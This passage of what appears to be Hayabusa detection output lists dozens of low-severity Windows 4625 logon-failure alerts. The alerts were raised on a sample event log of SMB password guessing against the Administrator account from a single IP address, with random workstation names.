NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6CBslPz31UACz0wR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.077 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F4Y8V0wB6unpmFXA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aXSbx81GD6dYgHtv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.172 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dWbnppJfJ0Ll9oLW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.201 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eoUjizV5iXImPGTe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HHNG9oylnT46IObg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1LUeAisNPQULjD2t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.422 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2sB5MlRw4Ox1OWdN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.491 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3WaklWtKd8QByH8M : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Nzvyy6CUk43SVxZW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xeolvnD92qP1dJPO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KDvRwPbu6yQH2pEf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.681 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vxKdofXKKkCLn2n6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.730 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IkO9p50Q9iFolbmb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.780 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p01SZCA784xmPMe2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XKaI3FHBbBXvVsES : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmUk6sW8QreDIZZ5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.916 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k0w9SSWaaTX7chM9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:36.961 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 46vgsyX5Wxn2rupf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.006 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PV8628a8GNKoFyzM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.047 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mksBFEFzkC08dB4o : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U6QlHT6Bp63JDehd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tRj4fxcRY0Esegl6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.157 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dj6zQjZwGEBo0zNt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.202 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: imfY1T2VMoaqDSUd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.243 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qvPP8UYn9fLpRYl4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.289 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rFTGQ5tzNI5k58cK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.329 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F8Zj3g1WiTLx8OlJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x2Lr6j8Qt4xEmZZF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BeDRsguCovO47lKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KqrDyaFTewMPSzD9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.489 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nBVMAki1Ghpknf6p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.535 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pXKhNUmBUQBTyeNM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d1g9TVwsweaBfZgE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kWymb6ucohaBB60b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.747 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LjL0zwlZofVuWhGC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nxsdzkJdnaZs5eKL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.844 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PR6EpKvbqMeoQlKI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OZ3LMTtsVNI1gRO2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 75bNeXwYSZPhJdJ7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:37.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lH6TVXSqJb1qLd3t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: edDWye6c2UhKznR6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.057 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AxKUl1lynGY1ectn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.094 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vI5yUgukPBVRorJI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.142 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmR29QcBKMGVQ8rB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.177 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b7luV5GfiT0v0h7D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.217 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yA7pIDFgQbLIInqs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.257 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 84g2gO0253Ut4O1O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.296 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DRkFX9WTAhBZ8jc8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.337 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WuoQAi4k3XZPaf4O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KjKMhCnbR0uFT0av : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1lfwqPB0AgTfIOt4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mJuG26pQzdjUQael : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GXwEziYTA3DkkFVq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.576 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CHr6dirvkT8B9ZVs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.623 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B5eSMLiF4BsfY3xN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.657 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 64ISDuFRhR6cFYVQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.693 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hcprXytyuBw380XY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BxfQWiSIhZYxwNjh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FcL982boDelzeyzK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.817 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NBAAjRdaR8U0tqt7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EmqUjcltAW6StHQJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 129Rp3HCmRVRXw3C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.945 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jpIIQP2oWEF51EBI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:38.975 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HREGh5ppEkLAuEob : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.022 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UVkpQvotEMfM8R0C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dm6uHEy5RJJBJ6FG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HPTyAkYjcIlko5lu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.155 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OjlRoo9Sot4Fx4Th : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.205 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XslY26kw2aBw19D8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.242 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1404fakprYeqGiNY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.281 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y2VfIjtBcXCRlOjp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.317 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LPztyX4J9NV8EldT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 07flrrzWgsVBYaN2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:39.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vgkqkC1VvznGxR6N : IP Address: 192.168.198.149 : AuthPackage: 